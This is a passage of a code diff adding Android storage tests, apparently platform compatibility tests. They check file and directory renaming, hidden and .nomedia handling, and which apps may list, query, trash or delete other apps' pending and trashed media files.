+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.test_audio);
+ FileOutputStream out = new FileOutputStream(mpegFile)) {
+ FileUtils.copy(in, out);
+ out.getFD().sync();
+ }
+ assertThat(MediaStore.scanFile(getContentResolver(), mpegFile)).isNotNull();
+ assertThat(getFileMimeTypeFromDatabase(mpegFile)).isEqualTo("audio/mpeg");
+
+ // This rename changes MIME type from audio/mpeg to audio/basic
+ assertCanRenameFile(mpegFile, nonMpegFile);
+ assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isNotEqualTo("audio/mpeg");
+
+ assertThat(MediaStore.scanFile(getContentResolver(), nonMpegFile)).isNotNull();
+ // Above scan should read file metadata and update the MIME type to audio/mpeg
+ assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isEqualTo("audio/mpeg");
+ } finally {
+ mpegFile.delete();
+ nonMpegFile.delete();
+ }
+ }
+
+ /**
+ * Test that app without write permission for file can't update the file.
+ */
+ @Test
+ public void testRenameFileNotOwned() throws Exception {
+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile1.getAbsolutePath())).isTrue();
+ // App can't rename a file owned by APP B.
+ assertCantRenameFile(videoFile1, videoFile2);
+
+ assertThat(videoFile2.createNewFile()).isTrue();
+ // App can't rename a file to videoFile1 which is owned by APP B.
+ assertCantRenameFile(videoFile2, videoFile1);
+ // TODO(b/146346138): Test that app with right URI permission should be able to rename
+ // the corresponding file
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile1.getAbsolutePath());
+ videoFile2.delete();
+ }
+ }
+
+ /**
+ * Test that renaming file paths to an external directory such as Android/* and Android/* /*
+ * except Android/media/* /* is not allowed.
+ */
+ @Test
+ public void testRenameFileToAppSpecificDir() throws Exception {
+ final File testFile = new File(getExternalMediaDir(), IMAGE_FILE_NAME);
+ final File testFileNew = new File(getExternalMediaDir(), NONMEDIA_FILE_NAME);
+
+ try {
+ // Create a file in app's external media directory
+ if (!testFile.exists()) {
+ assertThat(testFile.createNewFile()).isTrue();
+ }
+
+ final String androidDirPath = getExternalStorageDir().getPath() + "/Android";
+
+ // Verify that we can't rename a file to Android/ or Android/data or
+ // Android/media directory
+ assertCantRenameFile(testFile, new File(androidDirPath, IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/data", IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/media", IMAGE_FILE_NAME));
+
+ // Verify that we can rename a file to app specific media directory.
+ assertCanRenameFile(testFile, testFileNew);
+ } finally {
+ testFile.delete();
+ testFileNew.delete();
+ }
+ }
+
+ /**
+ * Test that renaming directories is allowed and aligns to default directory restrictions.
+ */
+ @Test
+ public void testRenameDirectory() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File downloadDir = getDownloadDir();
+ final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
+ final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
+ final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
+
+ final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
+ final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
+ final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
+ final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
+ final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+ final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
+ final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
+
+ try {
+ if (!nonMediaDirectory.exists()) {
+ assertThat(nonMediaDirectory.mkdirs()).isTrue();
+ }
+ assertThat(pdfFile.createNewFile()).isTrue();
+ // Move directory with pdf file to DCIM directory is not allowed.
+ assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
+ .isFalse();
+
+ if (!mediaDirectory1.exists()) {
+ assertThat(mediaDirectory1.mkdirs()).isTrue();
+ }
+ assertThat(videoFile1.createNewFile()).isTrue();
+ // Renaming to and from default directories is not allowed.
+ assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
+ // Moving top level default directories is not allowed.
+ assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
+
+ // Moving media directory to Download directory is allowed.
+ assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
+ new File[] {videoFile2});
+
+ // Moving media directory to Movies directory and renaming directory in new path is
+ // allowed.
+ assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
+ new File[] {videoFile3});
+
+ // Can't rename a mediaDirectory to non empty non Media directory.
+ assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
+ // Can't rename a file to a directory.
+ assertCantRenameFile(videoFile3, mediaDirectory3);
+ // Can't rename a directory to file.
+ assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
+ if (!mediaDirectory4.exists()) {
+ assertThat(mediaDirectory4.mkdir()).isTrue();
+ }
+ // Can't rename a directory to subdirectory of itself.
+ assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
+
+ } finally {
+ pdfFile.delete();
+ deleteRecursively(nonMediaDirectory);
+
+ videoFile1.delete();
+ videoFile2.delete();
+ videoFile3.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ deleteRecursively(mediaDirectory3);
+ deleteRecursively(mediaDirectory4);
+ }
+ }
+
+ /**
+ * Test that renaming directory checks file ownership permissions.
+ */
+ @Test
+ public void testRenameDirectoryNotOwned() throws Exception {
+ final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
+ File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
+ File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
+
+ try {
+ if (!mediaDirectory1.exists()) {
+ assertThat(mediaDirectory1.mkdirs()).isTrue();
+ }
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+ // App doesn't have access to videoFile1, can't rename mediaDirectory1.
+ assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
+ assertThat(videoFile.exists()).isTrue();
+ // Test app can delete the file since the file is not moved to new directory.
+ assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ }
+ }
+
+ /**
+ * Test renaming empty directory is allowed
+ */
+ @Test
+ public void testRenameEmptyDirectory() throws Exception {
+ final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
+ File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
+ File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME + "23456");
+ try {
+ if (emptyDirectoryOldPath.exists()) {
+ executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
+ }
+ assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
+ assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
+ } finally {
+ deleteRecursively(emptyDirectoryOldPath);
+ deleteRecursively(emptyDirectoryNewPath);
+ }
+ }
+
+ /**
+ * Test that apps can create and delete hidden file.
+ */
+ @Test
+ public void testCanCreateHiddenFile() throws Exception {
+ final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
+ try {
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+ // Write to hidden file is allowed.
+ try (FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
+ fos.write(BYTES_DATA1);
+ }
+ assertFileContent(hiddenImageFile, BYTES_DATA1);
+
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ assertDirectoryContains(getDownloadDir(), hiddenImageFile);
+ assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
+
+ // We can delete hidden file
+ assertThat(hiddenImageFile.delete()).isTrue();
+ assertThat(hiddenImageFile.exists()).isFalse();
+ } finally {
+ hiddenImageFile.delete();
+ }
+ }
+
+ /**
+ * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+ */
+ @Test
+ public void testInodeStatConsistency() throws Exception {
+ File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+ try {
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ assertThat(file.createNewFile()).isTrue();
+ // Scanning a file is essential as files created via filepath will be marked
+ // as isPending, and we do not set listener for pending files as it can lead to
+ // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+ MediaStore.scanFile(getContentResolver(), file);
+
+ // File operation #1 (to lower-fs)
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+ // File operation #2 (to fuse). This caches the inode for the file.
+ file.exists();
+
+ // Write bytes directly to lower-fs
+ Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+ // Close should invalidate inode cache for this file.
+ writePfd.close();
+ Thread.sleep(1000);
+
+ long fuseFileSize = file.length();
+ assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /**
+ * Test that apps can rename a hidden file.
+ */
+ @Test
+ public void testCanRenameHiddenFile() throws Exception {
+ final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
+ final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
+ final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
+ final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(hiddenImageFile1.createNewFile()).isTrue();
+ assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
+ assertNotMediaTypeImage(hiddenImageFile2);
+
+ // We can also rename hidden file to non-hidden
+ assertCanRenameFile(hiddenImageFile2, imageFile);
+ assertIsMediaTypeImage(imageFile);
+
+ // We can rename non-hidden file to hidden
+ assertCanRenameFile(imageFile, hiddenImageFile1);
+ assertNotMediaTypeImage(hiddenImageFile1);
+ } finally {
+ hiddenImageFile1.delete();
+ hiddenImageFile2.delete();
+ imageFile.delete();
+ }
+ }
+
+ /**
+ * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
+ */
+ @Test
+ public void testHiddenDirectory() throws Exception {
+ final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
+ final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
+ final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
+ try {
+ if (!hiddenDir.exists()) {
+ assertThat(hiddenDir.mkdir()).isTrue();
+ }
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
+ assertCanRenameDirectory(
+ hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
+ assertIsMediaTypeImage(imageFile);
+
+ assertCanRenameDirectory(
+ nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
+ assertNotMediaTypeImage(hiddenImageFile);
+ } finally {
+ hiddenImageFile.delete();
+ imageFile.delete();
+ deleteRecursively(hiddenDir);
+ deleteRecursively(nonHiddenDir);
+ }
+ }
+
+ /**
+ * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
+ */
+ @Test
+ public void testHiddenDirectory_nomedia() throws Exception {
+ final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
+ final File noMediaFile = new File(directoryNoMedia, ".nomedia");
+ final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
+ final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
+ try {
+ if (!directoryNoMedia.exists()) {
+ assertThat(directoryNoMedia.mkdir()).isTrue();
+ }
+ assertThat(noMediaFile.createNewFile()).isTrue();
+ assertThat(imageFile.createNewFile()).isTrue();
+
+ assertNotMediaTypeImage(imageFile);
+
+ // Deleting the .nomedia file makes the parent directory non hidden.
+ noMediaFile.delete();
+ MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+ assertIsMediaTypeImage(imageFile);
+
+ // Creating the .nomedia file makes the parent directory hidden again
+ assertThat(noMediaFile.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+ assertNotMediaTypeImage(imageFile);
+
+ // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
+ assertCanRenameFile(noMediaFile, videoFile);
+ assertIsMediaTypeImage(imageFile);
+ } finally {
+ noMediaFile.delete();
+ imageFile.delete();
+ videoFile.delete();
+ deleteRecursively(directoryNoMedia);
+ }
+ }
+
+ /**
+ * Test that only file manager and app that created the hidden file can list it.
+ */
+ @Test
+ public void testListHiddenFile() throws Exception {
+ final File dcimDir = getDcimDir();
+ final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
+ final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
+ try {
+ assertThat(hiddenImageFile.createNewFile()).isTrue();
+ assertNotMediaTypeImage(hiddenImageFile);
+
+ assertDirectoryContains(dcimDir, hiddenImageFile);
+
+ // TestApp with read permissions can't see the hidden image file created by other app
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+ .doesNotContain(hiddenImageFileName);
+
+ // But file manager can
+ assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+ .contains(hiddenImageFileName);
+
+ // Gallery cannot see the hidden image file created by other app
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+ .doesNotContain(hiddenImageFileName);
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ } finally {
+ hiddenImageFile.delete();
+ }
+ }
+
+ @Test
+ public void testOpenPendingAndTrashed() throws Exception {
+ final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+ final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ Uri pendingImgaeFileUri = null;
+ Uri trashedVideoFileUri = null;
+ Uri pendingPdfFileUri = null;
+ Uri trashedPdfFileUri = null;
+ try {
+ pendingImgaeFileUri = createPendingFile(pendingImageFile);
+ assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
+
+ pendingPdfFileUri = createPendingFile(pendingPdfFile);
+ assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
+
+ trashedVideoFileUri = createTrashedFile(trashedVideoFile);
+ assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
+
+ trashedPdfFileUri = createTrashedFile(trashedPdfFile);
+ assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
+
+ } finally {
+ deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
+ trashedPdfFile);
+ deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
+ pendingPdfFileUri, trashedPdfFileUri);
+ }
+ }
+
+ @Test
+ public void testListPendingAndTrashed() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ Uri imageFileUri = null;
+ Uri pdfFileUri = null;
+ try {
+ imageFileUri = createPendingFile(imageFile);
+ // Check that only owner package, file manager and system gallery can list pending image
+ // file.
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+ trashFileAndAssert(imageFileUri);
+ // Check that only owner package, file manager and system gallery can list trashed image
+ // file.
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+ pdfFileUri = createPendingFile(pdfFile);
+ // Check that only owner package, file manager can list pending non media file.
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+
+ trashFileAndAssert(pdfFileUri);
+ // Check that only owner package, file manager can list trashed non media file.
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+ } finally {
+ deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
+ deleteFiles(imageFile, pdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_ownerCanDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // App can delete its own pending and trashed file.
+ assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_otherAppCantDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // App can't delete other app's pending and trashed file.
+ assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
+ pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_fileManagerCanDelete() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // File Manager can delete any pending and trashed file
+ assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+ pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testDeletePendingAndTrashed_systemGalleryCanDeleteMedia() throws Exception {
+ final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+ // Actual path of the file gets rewritten for pending and trashed files.
+ String pendingVideoFilePath = null;
+ String trashedImageFilePath = null;
+ String pendingPdfFilePath = null;
+ String trashedPdfFilePath = null;
+ try {
+ pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+ trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+ pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+ trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+ // System Gallery can delete any pending and trashed image or video file.
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
+ assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
+ assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
+
+ // System Gallery can't delete other app's pending and trashed pdf file.
+ assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
+ assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
+ assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ } finally {
+ deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+ trashedPdfFilePath);
+ deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanTrashOtherAndroidMediaFiles() throws Exception {
+ final File otherVideoFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
+
+ final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
+ assertNotNull(otherVideoUri);
+
+ trashFileAndAssert(otherVideoUri);
+ untrashFileAndAssert(otherVideoUri);
+ } finally {
+ otherVideoFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanUpdateOtherAndroidMediaFiles() throws Exception {
+ final File otherImageFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), IMAGE_FILE_NAME));
+ final File updatedImageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherImageFile.getAbsolutePath())).isTrue();
+
+ final Uri otherImageUri = MediaStore.scanFile(getContentResolver(), otherImageFile);
+ assertNotNull(otherImageUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+ // Test that we can move the file to "DCIM/"
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(updatedImageFileInDcim.exists()).isTrue();
+ assertThat(otherImageFile.exists()).isFalse();
+
+ values.clear();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + APP_B_NO_PERMS.getPackageName());
+ // Test that we can move the file back to other app's owned path
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(otherImageFile.exists()).isTrue();
+ } finally {
+ otherImageFile.delete();
+ updatedImageFileInDcim.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testQueryOtherAppsFiles() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+ try {
+ // Apps can't query other app's pending file, hence create file and publish it.
+ assertCreatePublishedFilesAs(
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+ // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
+ // it can't query for another app's contents.
+ assertCantQueryFile(otherAppImg);
+ assertCantQueryFile(otherAppMusic);
+ assertCantQueryFile(otherAppPdf);
+ assertCantQueryFile(otherHiddenFile);
+ } finally {
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+ try {
+ // Apps can't query other app's pending file, hence create file and publish it.
+ assertCreatePublishedFilesAs(
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+ // System gallery apps have access to video and image files
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertCanQueryAndOpenFile(otherAppImg, "rw");
+ // System gallery doesn't have access to hidden image files of other app
+ assertCantQueryFile(otherHiddenFile);
+ // But no access to PDFs or music files
+ assertCantQueryFile(otherAppMusic);
+ assertCantQueryFile(otherAppPdf);
+ } finally {
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ }
+ }
+
+ /**
+ * Test that System Gallery app can rename any directory under the default directories
+ * designated for images and videos, even if they contain other apps' contents that
+ * System Gallery doesn't have read access to.
+ */
+ @Test
+ public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
+ final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+ final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
+ final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
+ final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
+ final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
+ final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
+ final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+ try {
+ assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+
+ executeShellCommand("touch " + otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertCreateFilesAs(APP_A_HAS_RES, otherAppImageFile1, otherAppVideoFile1);
+
+ // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
+ assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
+
+ // Rename should succeed, but System Gallery still can't access that PDF file!
+ assertCanRenameDirectory(dirInDcim, dirInPictures,
+ new File[] {otherAppImageFile1, otherAppVideoFile1},
